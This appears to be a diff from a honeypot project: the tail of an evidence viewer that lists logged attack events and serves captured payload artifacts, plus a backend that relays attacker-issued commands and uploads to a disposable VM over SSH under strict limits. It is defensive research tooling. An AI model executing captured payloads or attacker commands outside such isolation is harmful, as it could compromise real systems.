<label class="pill"><input type="checkbox" id="live" checked> live</label>
|
||||||
|
<select id="size"><option>50</option><option selected>100</option><option>250</option><option>500</option></select>
|
||||||
|
<button id="prev" disabled>← prev</button>
|
||||||
|
<span class="pill" id="page">page 1</span>
|
||||||
|
<button id="next">next →</button>
|
||||||
|
<button id="reload">refresh</button>
|
||||||
|
<span class="pill" id="stats"></span>
|
||||||
|
</header>
|
||||||
|
<main>
|
||||||
|
<div id="list"><table><thead><tr><th>time (UTC)</th><th>event</th><th>peer</th><th>summary</th></tr></thead><tbody id="rows"></tbody></table></div>
|
||||||
|
<div id="detail"><p id="meta2" class="pill">Select an event</p>
|
||||||
|
<div id="art"><h2>Payload</h2><pre>no payload in this event</pre></div>
|
||||||
|
<h2>Raw event</h2><pre id="json">-</pre></div>
|
||||||
|
</main>
|
||||||
|
<script>
|
||||||
|
'use strict';
|
||||||
|
const rows=document.getElementById('rows'),jsonBox=document.getElementById('json'),art=document.getElementById('art');
|
||||||
|
let current=[],selected=-1,payloadBytes=null,page=0,hasMore=false;
|
||||||
|
const esc=s=>String(s??'').replace(/[&<>"]/g,c=>({'&':'&','<':'<','>':'>','"':'"'}[c]));
|
||||||
|
const FIELDS=['command','argv','path','uri','filename','destination_ip','status','resource','reason','name','socket','value'];
|
||||||
|
function summary(e){for(const k of FIELDS){if(e[k]!=null)return esc(Array.isArray(e[k])?e[k].join(' '):e[k]);}
|
||||||
|
if(Array.isArray(e.headers)){const ua=e.headers.find(x=>String(x[0]).toLowerCase()==='user-agent');if(ua)return esc(ua[1]);}
|
||||||
|
if(e.error)return esc(e.error);return '';}
|
||||||
|
function render(list){
|
||||||
|
rows.innerHTML=list.map((e,i)=>`<tr data-i="${i}"><td class="t">${esc((e.timestamp||'').slice(11,23))}</td><td class="e">${esc(e.event)}</td><td class="p">${esc(e.peer||'')}</td><td>${summary(e)}</td></tr>`).join('');
|
||||||
|
document.querySelectorAll('#rows tr').forEach(tr=>tr.onclick=()=>select(+tr.dataset.i));
|
||||||
|
const kinds=[...new Set(list.map(e=>e.event))].sort();
|
||||||
|
const sel=document.getElementById('event'),keep=sel.value;
|
||||||
|
for(const k of kinds)if(![...sel.options].some(o=>o.value===k))sel.insertAdjacentHTML('beforeend',`<option>${esc(k)}</option>`);
|
||||||
|
sel.value=keep;
|
||||||
|
const counts={};for(const e of list)counts[e.event]=(counts[e.event]||0)+1;
|
||||||
|
document.getElementById('stats').textContent=`${list.length} rows · scanned ${lastScanned} · hiding ${lastHidden} our IPs · ${counts['injection_candidate']||0} inj · ${counts['brute_force_suspected']||0} bf`;
|
||||||
|
}
|
||||||
|
let lastScanned=0,lastHidden=0;
|
||||||
|
function printable(bytes){if(!bytes.length)return true;let p=0;for(const c of bytes){if(c===9||c===10||c===13||(c>=32&&c<127)||c>=160)p++;}return p/bytes.length>0.9;}
|
||||||
|
function hexdump(bytes,max){let out='';for(let o=0;o<Math.min(bytes.length,max);o+=16){let hex='',asc='';
|
||||||
|
for(let j=0;j<16;j++){if(o+j<bytes.length){const c=bytes[o+j];hex+=c.toString(16).padStart(2,'0')+' ';asc+=c>=32&&c<127?String.fromCharCode(c):'.';}else hex+=' ';}
|
||||||
|
out+=o.toString(16).padStart(8,'0')+' '+hex+' |'+asc+'|\n';}
|
||||||
|
if(bytes.length>max)out+=`\n... ${bytes.length-max} more bytes (download for full)`;return out;}
|
||||||
|
function showPayload(mode){if(payloadBytes===null)return;const b=document.getElementById('pbody');if(!b)return;
|
||||||
|
if(mode==='hex')b.textContent=hexdump(payloadBytes,65536);
|
||||||
|
else if(printable(payloadBytes))b.textContent=new TextDecoder().decode(payloadBytes.slice(0,262144));
|
||||||
|
else b.textContent='(binary; showing hex)\n\n'+hexdump(payloadBytes,65536);}
|
||||||
|
async function loadPayload(sha){payloadBytes=null;
|
||||||
|
const r=await fetch('/api/artifact/'+sha+'?inline=1');
|
||||||
|
if(!r.ok){art.innerHTML='<h2>Payload</h2><pre>artifact unavailable</pre>';return;}
|
||||||
|
payloadBytes=new Uint8Array(await r.arrayBuffer());
|
||||||
|
art.innerHTML=`<h2>Payload</h2><div id="artbar"><span class="pill">${payloadBytes.length} bytes · ${sha.slice(0,16)}…</span>
|
||||||
|
<button onclick="showPayload('text')">text</button><button onclick="showPayload('hex')">hex</button>
|
||||||
|
<a class="pill" href="/api/artifact/${sha}">download</a></div><pre id="pbody"></pre>`;
|
||||||
|
showPayload(printable(payloadBytes)?'text':'hex');}
|
||||||
|
function select(i){selected=i;
|
||||||
|
document.querySelectorAll('#rows tr').forEach(tr=>tr.classList.toggle('sel',+tr.dataset.i===i));
|
||||||
|
const e=current[i];
|
||||||
|
document.getElementById('meta2').textContent=[e.event,e.timestamp,e.peer,e.source].filter(Boolean).join(' · ');
|
||||||
|
jsonBox.textContent=JSON.stringify(e,null,2);
|
||||||
|
if(e.evidence&&e.evidence.sha256)loadPayload(e.evidence.sha256);
|
||||||
|
else{payloadBytes=null;art.innerHTML='<h2>Payload</h2><pre>no payload in this event</pre>';}}
|
||||||
|
async function load(){
|
||||||
|
const p=new URLSearchParams({q:document.getElementById('q').value,event:document.getElementById('event').value,
|
||||||
|
peer:document.getElementById('peer').value,payload:document.getElementById('payload').checked?'1':'0',
|
||||||
|
hide:document.getElementById('hide').checked?'1':'0',
|
||||||
|
size:document.getElementById('size').value,page:page});
|
||||||
|
const r=await fetch('/api/events?'+p);const d=await r.json();
|
||||||
|
current=d.events;lastScanned=d.scanned;lastHidden=d.hidden;hasMore=d.has_more;render(current);
|
||||||
|
document.getElementById('page').textContent='page '+(page+1);
|
||||||
|
document.getElementById('prev').disabled=page<=0;
|
||||||
|
document.getElementById('next').disabled=!hasMore;}
|
||||||
|
function reset(){page=0;load();}
|
||||||
|
document.getElementById('reload').onclick=reset;
|
||||||
|
document.getElementById('prev').onclick=()=>{if(page>0){page--;load();}};
|
||||||
|
document.getElementById('next').onclick=()=>{if(hasMore){page++;load();}};
|
||||||
|
document.getElementById('q').addEventListener('keydown',e=>{if(e.key==='Enter')reset();});
|
||||||
|
document.getElementById('peer').addEventListener('keydown',e=>{if(e.key==='Enter')reset();});
|
||||||
|
document.getElementById('event').onchange=reset;
|
||||||
|
document.getElementById('payload').onchange=reset;
|
||||||
|
document.getElementById('hide').onchange=reset;
|
||||||
|
document.getElementById('size').onchange=reset;
|
||||||
|
document.addEventListener('keydown',e=>{if(e.target.tagName==='INPUT'||e.target.tagName==='SELECT')return;
|
||||||
|
if(e.key==='j'||e.key==='ArrowDown'){e.preventDefault();select(Math.min(current.length-1,selected+1));}
|
||||||
|
if(e.key==='k'||e.key==='ArrowUp'){e.preventDefault();select(Math.max(0,selected-1));}});
|
||||||
|
setInterval(()=>{if(page===0&&document.getElementById('live').checked)load();},3000);
|
||||||
|
load();
|
||||||
|
</script></body></html>'''
|
||||||
|
|
||||||
|
|
||||||
|
def reverse_lines(path, block=1 << 20):
|
||||||
|
"""Yield file lines newest-first without loading the whole file."""
|
||||||
|
with path.open('rb') as stream:
|
||||||
|
stream.seek(0, 2)
|
||||||
|
position = stream.tell()
|
||||||
|
tail = b''
|
||||||
|
while position > 0:
|
||||||
|
size = min(block, position)
|
||||||
|
position -= size
|
||||||
|
stream.seek(position)
|
||||||
|
lines = (stream.read(size) + tail).split(b'\n')
|
||||||
|
tail = lines[0]
|
||||||
|
for line in reversed(lines[1:]):
|
||||||
|
if line:
|
||||||
|
yield line
|
||||||
|
if tail.strip():
|
||||||
|
yield tail
|
||||||
|
|
||||||
|
|
||||||
|
def artifact_path(artifact_dir, sha):
|
||||||
|
if not re.fullmatch(r'[0-9a-f]{64}', sha or ''):
|
||||||
|
return None
|
||||||
|
path = artifact_dir / (sha + '.bin')
|
||||||
|
return path if path.is_file() else None
|
||||||
|
|
||||||
|
|
||||||
|
class Handler(http.server.BaseHTTPRequestHandler):
|
||||||
|
server_version = 'CitrixPotViewer'
|
||||||
|
sys_version = ''
|
||||||
|
protocol_version = 'HTTP/1.1'
|
||||||
|
|
||||||
|
def log_message(self, *args):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def send(self, code, content, mime='application/octet-stream', extra=()):
|
||||||
|
self.send_response(code)
|
||||||
|
self.send_header('Content-Type', mime)
|
||||||
|
self.send_header('Content-Length', str(len(content)))
|
||||||
|
self.send_header('X-Content-Type-Options', 'nosniff')
|
||||||
|
self.send_header('Cache-Control', 'no-store')
|
||||||
|
for key, value in extra:
|
||||||
|
self.send_header(key, value)
|
||||||
|
self.end_headers()
|
||||||
|
if self.command != 'HEAD':
|
||||||
|
self.wfile.write(content)
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
url = urllib.parse.urlsplit(self.path)
|
||||||
|
query = urllib.parse.parse_qs(url.query)
|
||||||
|
if url.path == '/':
|
||||||
|
return self.send(200, PAGE.encode(), 'text/html; charset=utf-8')
|
||||||
|
if url.path == '/api/events':
|
||||||
|
return self.events(query)
|
||||||
|
if url.path.startswith('/api/artifact/'):
|
||||||
|
return self.artifact(url.path.rsplit('/', 1)[-1], query)
|
||||||
|
self.send(404, b'not found', 'text/plain; charset=utf-8')
|
||||||
|
|
||||||
|
def do_HEAD(self):
|
||||||
|
self.do_GET()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def one(query, name, default=''):
|
||||||
|
return query.get(name, [default])[0]
|
||||||
|
|
||||||
|
def events(self, query):
|
||||||
|
try:
|
||||||
|
size = min(max(int(self.one(query, 'size', '100')), 1), 500)
|
||||||
|
except ValueError:
|
||||||
|
size = 100
|
||||||
|
try:
|
||||||
|
page = max(int(self.one(query, 'page', '0')), 0)
|
||||||
|
except ValueError:
|
||||||
|
page = 0
|
||||||
|
terms = [term for term in (self.one(query, 'q') or '').lower().split() if term]
|
||||||
|
kind = self.one(query, 'event')
|
||||||
|
peer = (self.one(query, 'peer') or '').lower()
|
||||||
|
payload_only = self.one(query, 'payload', '0') == '1'
|
||||||
|
hidden = getattr(self.server, 'hide_ips', set()) if self.one(query, 'hide', '1') != '0' else set()
|
||||||
|
need = (page + 1) * size
|
||||||
|
rows, scanned = [], 0
|
||||||
|
path = self.server.journal
|
||||||
|
if path.is_file():
|
||||||
|
# ponytail: reverse scan is bounded by page depth, not file size, for unfiltered paging;
|
||||||
|
# add a sqlite FTS index only if filtered deep paging on multi-GB journals gets slow.
|
||||||
|
for raw in reverse_lines(path):
|
||||||
|
scanned += 1
|
||||||
|
line = raw.decode('utf-8', 'replace')
|
||||||
|
low = line.lower()
|
||||||
|
if any(term not in low for term in terms):
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
row = json.loads(line)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
if kind and row.get('event') != kind:
|
||||||
|
continue
|
||||||
|
if row.get('peer') in hidden:
|
||||||
|
continue
|
||||||
|
if peer and peer not in str(row.get('peer', '')).lower():
|
||||||
|
continue
|
||||||
|
if payload_only and not row.get('evidence'):
|
||||||
|
continue
|
||||||
|
rows.append(row)
|
||||||
|
if len(rows) >= need:
|
||||||
|
break
|
||||||
|
page_rows = rows[page * size:(page + 1) * size]
|
||||||
|
body = json.dumps({'events': page_rows, 'scanned': scanned, 'page': page, 'size': size,
|
||||||
|
'has_more': len(rows) >= need, 'hidden': len(hidden)}, ensure_ascii=True).encode()
|
||||||
|
self.send(200, body, 'application/json', (('Content-Disposition', 'inline'),))
|
||||||
|
|
||||||
|
def artifact(self, sha, query):
|
||||||
|
path = artifact_path(self.server.artifacts, sha)
|
||||||
|
if path is None:
|
||||||
|
return self.send(404, b'not found', 'text/plain; charset=utf-8')
|
||||||
|
data = path.read_bytes()
|
||||||
|
if self.one(query, 'inline', '0') == '1':
|
||||||
|
return self.send(200, data, 'application/octet-stream')
|
||||||
|
self.send(200, data, 'application/octet-stream',
|
||||||
|
(('Content-Disposition', f'attachment; filename="{sha}.bin"'),))
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
load()
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--log-dir', default=os.environ.get('VIEWER_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs')))
|
||||||
|
parser.add_argument('--bind', default=os.environ.get('VIEWER_BIND', '127.0.0.1'))
|
||||||
|
parser.add_argument('--port', type=int, default=env_int('VIEWER_PORT', 8787))
|
||||||
|
parser.add_argument('--allow-non-loopback', action='store_true',
|
||||||
|
help='required to bind anything other than a loopback address')
|
||||||
|
parser.add_argument('--hide-ip', action='append', metavar='IP',
|
||||||
|
default=[item.strip() for item in os.environ.get('VIEWER_HIDE_IP', '').split(',') if item.strip()],
|
||||||
|
help='extra client IP to hide (repeatable; VIEWER_HIDE_IP is comma-separated)')
|
||||||
|
parser.add_argument('--hide-ip-file', help='file with one hidden IP per line')
|
||||||
|
parser.add_argument('--no-hide-public-ip', action='store_true',
|
||||||
|
help="do not auto-detect and hide this host's public IP")
|
||||||
|
parser.add_argument('--hide-refresh', type=int, default=1800,
|
||||||
|
help='seconds between public-IP refreshes (default 1800)')
|
||||||
|
args = parser.parse_args()
|
||||||
|
try:
|
||||||
|
loopback = ipaddress.ip_address(args.bind).is_loopback
|
||||||
|
except ValueError:
|
||||||
|
loopback = args.bind == 'localhost'
|
||||||
|
if not loopback and not args.allow_non_loopback:
|
||||||
|
parser.error('refusing non-loopback bind without --allow-non-loopback')
|
||||||
|
directory = pathlib.Path(args.log_dir)
|
||||||
|
server = http.server.ThreadingHTTPServer((args.bind, args.port), Handler)
|
||||||
|
server.journal = directory / 'events.jsonl'
|
||||||
|
server.artifacts = directory / 'artifacts'
|
||||||
|
server.hide_ips = {ip for ip in args.hide_ip if ip}
|
||||||
|
|
||||||
|
def hide_operator_traffic():
|
||||||
|
from public_ip import discover
|
||||||
|
while True:
|
||||||
|
if args.hide_ip_file:
|
||||||
|
try:
|
||||||
|
server.hide_ips.update(line.strip() for line in
|
||||||
|
pathlib.Path(args.hide_ip_file).read_text().splitlines() if line.strip())
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
if not args.no_hide_public_ip:
|
||||||
|
ip = discover()
|
||||||
|
if ip:
|
||||||
|
server.hide_ips.add(ip)
|
||||||
|
time.sleep(args.hide_refresh)
|
||||||
|
|
||||||
|
threading.Thread(target=hide_operator_traffic, daemon=True).start()
|
||||||
|
print(f'Evidence viewer: http://{args.bind}:{server.server_port}/ (read-only; {directory})', flush=True)
|
||||||
|
try:
|
||||||
|
server.serve_forever()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
server.server_close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
+208
@@ -0,0 +1,208 @@
|
|||||||
|
"""Bounded SSH transport to a disposable VM; attacker input never reaches a local shell."""
|
||||||
|
import base64
|
||||||
|
import collections
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import secrets
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from evidence import EvidenceError
|
||||||
|
|
||||||
|
LIMIT = 16 * 1024 * 1024
|
||||||
|
EVENTS = {'guest_http_file', 'guest_upload', 'guest_file_deleted', 'guest_file_version',
|
||||||
|
'guest_file_capture_error', 'guest_process_start', 'guest_stdout',
|
||||||
|
'guest_syscalls_stderr', 'guest_execution_limit', 'guest_process_end', 'guest_limit'}
|
||||||
|
FIELDS = {'guest_time_ns', 'path', 'size', 'mode', 'truncated', 'error', 'bytes', 'pid',
|
||||||
|
'command', 'seconds', 'returncode', 'resource'}
|
||||||
|
|
||||||
|
|
||||||
|
class VMBackend:
|
||||||
|
def __init__(self, config, emit):
|
||||||
|
self.config = json.loads(pathlib.Path(config).read_text())
|
||||||
|
self.emit, self.on_failure = emit, None
|
||||||
|
self.slots = threading.BoundedSemaphore(4)
|
||||||
|
self.io_slots = threading.BoundedSemaphore(4)
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.active, self.threads, self.peers = set(), set(), collections.OrderedDict()
|
||||||
|
self.closed = False
|
||||||
|
host = str(ipaddress.ip_address(self.config['host']))
|
||||||
|
port = int(self.config.get('port', 22))
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError('invalid SSH port')
|
||||||
|
self.peer_path = pathlib.Path(self.config.get('allowed_peers', '/var/lib/decoy/allowed-peers.json'))
|
||||||
|
self.stop_path = pathlib.Path(self.config.get('stop_file', '/var/lib/decoy/STOP'))
|
||||||
|
self.ssh = ['ssh', '-T', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5',
|
||||||
|
'-o', 'ServerAliveInterval=10', '-o', 'ServerAliveCountMax=2',
|
||||||
|
'-o', 'StrictHostKeyChecking=yes', '-o', 'IdentitiesOnly=yes',
|
||||||
|
'-o', 'UserKnownHostsFile=' + self.config['known_hosts'],
|
||||||
|
'-i', self.config['identity'], '-p', str(port),
|
||||||
|
'root@' + host, 'python3 /opt/decoy/guest.py']
|
||||||
|
|
||||||
|
def close(self, trip=False):
|
||||||
|
if trip:
|
||||||
|
# Broker independently watches this latch; never remove it automatically.
|
||||||
|
self.stop_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||||
|
fd = os.open(self.stop_path, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o600)
|
||||||
|
os.close(fd)
|
||||||
|
with self.lock:
|
||||||
|
self.closed = True
|
||||||
|
for proc in tuple(self.active):
|
||||||
|
try:
|
||||||
|
proc.kill()
|
||||||
|
except ProcessLookupError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def fail(self, error):
|
||||||
|
try:
|
||||||
|
self.close(trip=True)
|
||||||
|
finally:
|
||||||
|
if self.on_failure:
|
||||||
|
self.on_failure(error)
|
||||||
|
|
||||||
|
def register_peer(self, peer):
|
||||||
|
ip = ipaddress.ip_address(peer)
|
||||||
|
if ip.version != 4:
|
||||||
|
return # broker is IPv4 only
|
||||||
|
try:
|
||||||
|
with self.lock:
|
||||||
|
if self.closed or self.stop_path.exists():
|
||||||
|
raise EvidenceError('VM capture stopped')
|
||||||
|
now = time.monotonic()
|
||||||
|
self.peers = collections.OrderedDict((k, v) for k, v in self.peers.items() if now - v < 3600)
|
||||||
|
self.peers.pop(str(ip), None)
|
||||||
|
self.peers[str(ip)] = now
|
||||||
|
while len(self.peers) > 128:
|
||||||
|
self.peers.popitem(last=False)
|
||||||
|
self.peer_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||||
|
fd, name = tempfile.mkstemp(prefix='.peers-', dir=self.peer_path.parent)
|
||||||
|
try:
|
||||||
|
with os.fdopen(fd, 'w') as f:
|
||||||
|
json.dump(list(self.peers), f)
|
||||||
|
f.flush()
|
||||||
|
os.fsync(f.fileno())
|
||||||
|
os.replace(name, self.peer_path)
|
||||||
|
finally:
|
||||||
|
if os.path.exists(name):
|
||||||
|
os.unlink(name)
|
||||||
|
except OSError as error:
|
||||||
|
failure = EvidenceError(str(error))
|
||||||
|
self.fail(failure)
|
||||||
|
raise failure from error
|
||||||
|
|
||||||
|
def records(self, request, context):
|
||||||
|
encoded = (json.dumps(request, separators=(',', ':')) + '\n').encode()
|
||||||
|
if len(encoded) > 4 * ((LIMIT + 2) // 3) + 131072:
|
||||||
|
raise ValueError('guest request limit')
|
||||||
|
with self.lock:
|
||||||
|
if self.closed or self.stop_path.exists():
|
||||||
|
raise EvidenceError('VM capture stopped')
|
||||||
|
proc = subprocess.Popen(self.ssh, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.DEVNULL)
|
||||||
|
self.active.add(proc)
|
||||||
|
timer = threading.Timer(620 if request['action'] == 'execute' else 20, proc.kill)
|
||||||
|
timer.daemon = True
|
||||||
|
timer.start()
|
||||||
|
try:
|
||||||
|
proc.stdin.write(encoded)
|
||||||
|
proc.stdin.close()
|
||||||
|
total = 0
|
||||||
|
for count in range(65536):
|
||||||
|
raw = proc.stdout.readline(24 * 1024 * 1024)
|
||||||
|
if not raw:
|
||||||
|
break
|
||||||
|
total += len(raw)
|
||||||
|
if not raw.endswith(b'\n') or total > 128 * 1024 * 1024:
|
||||||
|
raise ValueError('guest telemetry limit')
|
||||||
|
event = json.loads(raw)
|
||||||
|
if not isinstance(event, dict) or event.get('event') not in EVENTS:
|
||||||
|
raise ValueError('invalid guest event')
|
||||||
|
name = event['event']
|
||||||
|
clean = {k: v for k, v in event.items() if k in FIELDS and
|
||||||
|
(v is None or type(v) in (str, int, bool))}
|
||||||
|
if any(isinstance(v, str) and len(v) > 65536 for v in clean.values()):
|
||||||
|
raise ValueError('guest field limit')
|
||||||
|
if 'base64' in event:
|
||||||
|
content = base64.b64decode(event['base64'], validate=True)
|
||||||
|
if len(content) > LIMIT:
|
||||||
|
raise ValueError('guest artifact limit')
|
||||||
|
clean['content'] = content
|
||||||
|
# The guest cannot supply or override event correlation or storage paths.
|
||||||
|
self.emit(name, **clean, **context, telemetry_trust='guest-reported', guest_shared=True)
|
||||||
|
yield clean
|
||||||
|
else:
|
||||||
|
raise ValueError('guest event count limit')
|
||||||
|
if proc.wait() != 0:
|
||||||
|
raise OSError('guest transport or command failed')
|
||||||
|
except EvidenceError as error:
|
||||||
|
self.fail(error)
|
||||||
|
raise
|
||||||
|
finally:
|
||||||
|
timer.cancel()
|
||||||
|
if proc.poll() is None:
|
||||||
|
proc.kill()
|
||||||
|
proc.wait()
|
||||||
|
proc.stdout.close()
|
||||||
|
try:
|
||||||
|
proc.stdin.close()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
with self.lock:
|
||||||
|
self.active.discard(proc)
|
||||||
|
|
||||||
|
def execute(self, command, context):
|
||||||
|
if not self.slots.acquire(False):
|
||||||
|
self.emit('execution_rejected', **context, reason='VM concurrency limit')
|
||||||
|
return
|
||||||
|
context = dict(context, execution_id=secrets.token_hex(16))
|
||||||
|
def run():
|
||||||
|
try:
|
||||||
|
self.emit('execution_start', **context, command=command, vm=self.config['vmid'], guest_shared=True)
|
||||||
|
for _ in self.records(dict(action='execute', command=command), context):
|
||||||
|
pass
|
||||||
|
self.emit('execution_end', **context)
|
||||||
|
except EvidenceError as error:
|
||||||
|
self.fail(error)
|
||||||
|
except Exception as error:
|
||||||
|
try:
|
||||||
|
self.emit('execution_error', **context, error=str(error))
|
||||||
|
except EvidenceError:
|
||||||
|
pass
|
||||||
|
self.fail(EvidenceError('execution telemetry lost: ' + str(error)))
|
||||||
|
finally:
|
||||||
|
self.slots.release()
|
||||||
|
with self.lock:
|
||||||
|
self.threads.discard(threading.current_thread())
|
||||||
|
thread = threading.Thread(target=run, daemon=True)
|
||||||
|
with self.lock:
|
||||||
|
self.threads.add(thread)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def io(self, request, context):
|
||||||
|
if not self.io_slots.acquire(False):
|
||||||
|
self.emit('guest_io_rejected', **context, action=request['action'], reason='concurrency limit')
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
result = None
|
||||||
|
for event in self.records(request, context):
|
||||||
|
if 'content' in event:
|
||||||
|
result = event['content']
|
||||||
|
return result
|
||||||
|
except EvidenceError:
|
||||||
|
raise
|
||||||
|
except (OSError, ValueError, TypeError) as error:
|
||||||
|
self.emit('guest_io_error', **context, action=request['action'], error=str(error))
|
||||||
|
return None
|
||||||
|
finally:
|
||||||
|
self.io_slots.release()
|
||||||
|
|
||||||
|
def upload(self, payload, context):
|
||||||
|
if len(payload) > LIMIT:
|
||||||
|
raise ValueError('upload limit')
|
||||||
|
return self.io(dict(action='upload', base64=base64.b64encode(payload).decode()), context)
|
||||||
|
|
||||||
|
def read(self, path, context):
|
||||||
|
return self.io(dict(action='read', path=path), context)
|
||||||
Reference in new issue
Block a user